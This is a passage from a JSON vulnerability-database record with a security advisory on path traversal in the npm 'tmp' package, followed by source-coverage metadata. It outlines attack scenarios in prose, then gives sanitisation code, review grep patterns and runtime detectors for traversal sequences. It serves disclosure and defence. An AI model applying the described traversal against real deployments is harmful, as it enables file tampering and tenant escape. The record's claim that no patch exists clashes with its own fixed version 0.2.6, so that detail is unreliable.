with malicious prefix/postfix\n- tmp creates \"temporary\" file in application configuration directory\n- Malicious configuration loaded on next application restart\n\n**2. Cache Poisoning:**\n- Application caches user content using tmp\n- Attacker escapes to cache directory of different user/tenant\n- Poisoned cache serves malicious content to other users\n\n**3. Build Pipeline Compromise:**\n- CI/CD system processes user PRs with tmp usage\n- Malicious prefix escapes to build output directories\n- Compromised build artifacts deployed to production\n\n**4. Container Escape Attempt:**\n- Containerized application uses tmp with user input\n- Attacker attempts to escape container temp restrictions\n- Files created in host-mapped volumes or sensitive container areas\n\n**5. Multi-Tenant Service Bypass:**\n- SaaS platform isolates tenants using separate tmp directories\n- Tenant A escapes their tmp space to tenant B's area\n- Cross-tenant data access and potential privilege escalation\n\n**Business Impact:**\n- **Data Integrity:** Unauthorized file placement can corrupt application state\n- **Service Disruption:** Files in wrong locations may break application functionality  \n- **Security Bypass:** Escape temporary isolation boundaries\n- **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** tmp\n- **Repository:** github.com/raszi/node-tmp\n- **Affected versions:** All versions with vulnerable path construction logic\n- **Patched versions:** None currently available\n\n**Component Impact:**\n- `tmp.file()` function - vulnerable to prefix/postfix/dir traversal\n- `tmp.dir()` function - vulnerable to same parameter manipulation  \n- `tmp.tmpName()` function - if using affected path construction\n\n**Severity:** High  \n**CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)\n\n**CWE Classification:**\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n### Remediation\n\n**Input Validation and Sanitization:**\n\n1. **Sanitize prefix/postfix:**\n```javascript\nfunction sanitizePrefix(prefix) {\n  if (!prefix) return '';\n  // Remove path separators and traversal sequences\n  return path.basename(String(prefix)).replace(/[\\.\\/\\\\]/g, '-');\n}\n\nfunction sanitizePostfix(postfix) {\n  if (!postfix) return '';\n  // Allow only safe characters\n  return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');\n}\n```\n\n2. **Validate dir parameter:**\n```javascript\nfunction validateDir(dir, baseDir) {\n  if (!dir) return '';\n  \n  // Reject absolute paths\n  if (path.isAbsolute(dir)) {\n    throw new Error('Absolute paths not allowed for dir option');\n  }\n  \n  // Resolve and check containment\n  const resolved = path.resolve(baseDir, dir);\n  const relative = path.relative(baseDir, resolved);\n  \n  if (relative.startsWith('..') || path.isAbsolute(relative)) {\n    throw new Error('Dir option escapes base directory');\n  }\n  \n  return dir;\n}\n```\n\n3. **Post-construction path validation:**\n```javascript\nfunction validateFinalPath(finalPath, baseDir) {\n  const resolved = path.resolve(finalPath);\n  const relative = path.relative(path.resolve(baseDir), resolved);\n  \n  if (relative.startsWith('..') || path.isAbsolute(relative)) {\n    throw new Error('Generated path escapes temporary directory');\n  }\n  \n  return resolved;\n}\n```\n\n**Secure Implementation Pattern:**\n```javascript\nfunction createTempFile(options) {\n  const opts = { ...options };\n  \n  // Sanitize inputs\n  opts.prefix = sanitizePrefix(opts.prefix);\n  opts.postfix = sanitizePostfix(opts.postfix);\n  opts.dir = validateDir(opts.dir, opts.tmpdir);\n  \n  // Create with sanitized options\n  return tmp.file(opts, (err, path, fd, cleanup) => {\n    if (err) return callback(err);\n    \n    // Validate final path\n    try {\n      validateFinalPath(path, opts.tmpdir);\n    } catch (validationErr) {\n      cleanup();\n      return callback(validationErr);\n    }\n    \n    callback(null, path, fd, cleanup);\n  });\n}\n```\n\n### Workarounds\n\n**For Application Developers:**\n\n1. **Input Sanitization:**\n```javascript\n// Sanitize before passing to tmp\nfunction safeTmpFile(userOptions) {\n  const safeOpts = {\n    ...userOptions,\n    prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,\n    postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,\n    dir: undefined // Don't allow user-controlled dir\n  };\n  \n  return tmp.file(safeOpts);\n}\n```\n\n2. **Path Validation:**\n```javascript\nfunction validateTmpPath(tmpPath, expectedBase) {\n  const relativePath = path.relative(expectedBase, tmpPath);\n  if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {\n    throw new Error('Temporary file path escaped base directory');\n  }\n  return tmpPath;\n}\n```\n\n3. **Restricted Usage:**\n```javascript\n// Only use tmp with known-safe, literal values\ntmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);\n// Never: tmp.file({ prefix: userInput }, callback);\n```\n\n**For Security Teams:**\n\n1. **Code Review Patterns:**\n```bash\n# Search for dangerous tmp usage\ngrep -r \"tmp\\.file.*prefix.*req\\|tmp\\.file.*postfix.*req\" .\ngrep -r \"tmp\\.dir.*opts\\|tmp\\.file.*opts\" .\n```\n\n2. **Runtime Monitoring:**\n```javascript\n// Monitor for files created outside expected temp areas\nconst originalFile = tmp.file;\ntmp.file = function(options, callback) {\n  return originalFile(options, (err, path, fd, cleanup) => {\n    if (!err && options.tmpdir) {\n      const relative = require('path').relative(options.tmpdir, path);\n      if (relative.startsWith('..')) {\n        console.warn('Path traversal detected:', path);\n      }\n    }\n    return callback(err, path, fd, cleanup);\n  });\n};\n```\n\n### Detection and Monitoring\n\n**Static Analysis:**\n- Scan for tmp usage with user-controlled input\n- Identify unsanitized parameter passing to tmp functions\n- Review file creation patterns in temporary directories\n\n**Runtime Detection:**\n```javascript\n// Log suspicious tmp operations\nfunction monitorTmpUsage() {\n  const originalTmpFile = require('tmp').file;\n  \n  require('tmp').file = function(options = {}, callback) {\n    // Check for suspicious patterns\n    const suspicious = [\n      options.prefix && options.prefix.includes('..'),\n      options.postfix && options.postfix.includes('..'),  \n      options.dir && path.isAbsolute(options.dir)\n    ].some(Boolean);\n    \n    if (suspicious) {\n      console.warn('Suspicious tmp usage detected:', options);\n    }\n    \n    return originalTmpFile.call(this, options, callback);\n  };\n}\n```\n\n**File System Monitoring:**\n```bash\n# Monitor file creation outside expected temp directories\ninotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do\n  if [[ \"$event\" == *\"CREATE\"* && \"$file\" != /tmp/tmp-* ]]; then\n    echo \"Unexpected file creation: $file\"\n  fi\ndone\n```\n### Acknowledgements\n\n**Reported by**: Mapta / BugBunny_ai","state":0,"publishedAt":"2026-05-27T00:34:06+00:00","modifiedAt":"2026-09-10T03:51:06.6118328+00:00","affected":[{"ecosystem":"npm","name":"tmp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.2.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65","https://nvd.nist.gov/vuln/detail/CVE-2026-44705","https://github.com/raszi/node-tmp/commit/efa4a06f24374797ae32ab2b6ae39b7a611ae429","https://github.com/raszi/node-tmp"],"sourceUrl":"https://github.com/advisories/GHSA-ph9p-34f9-6g65","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-ph9p-34f9-6g65","identifiers":["GHSA-ph9p-34f9-6g65","CVE-2026-44705"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T18:07:22.4901130+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T18:07:22.490113+00:00","lastSuccessAt":"2026-11-07T18:07:22.6844079+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.6844094+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-345caf33bb1f4776307263ad25eb81e7ed5e705a56a2cd4eb1cf23a9dfb83a94","complete":true,"records":420935,"lastAttemptAt":"2026-11-07T18:07:21.9958253+00:00","lastSuccessAt":"2026-11-07T18:07:21.9319209+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:21.9958253+00:00","snapshotPublishedAt":"2026-11-07T17:19:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-34a4c3afd7814be5b898afe39bc8de83","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T18:19:20.2464002+00:00","lastSuccessAt":"2026-11-07T18:19:20.241+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:19:20.241+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T18:07:22.4901130+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T18:07:22.490113+00:00","lastSuccessAt":"2026-11-07T18:07:22.6855915+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.6855918+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4f3c43bc657c450cb497709a94b99465","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T18:07:48.5826461+00:00","lastSuccessAt":"2026-11-07T18:07:48.579+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:48.579+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T18:07:22.3499852+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.3499852+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T18:07:22.144189+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.144189+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T18:07:22.4566537+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.4566537+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T18:07:22.2465057+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T18:07:22.2465057+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}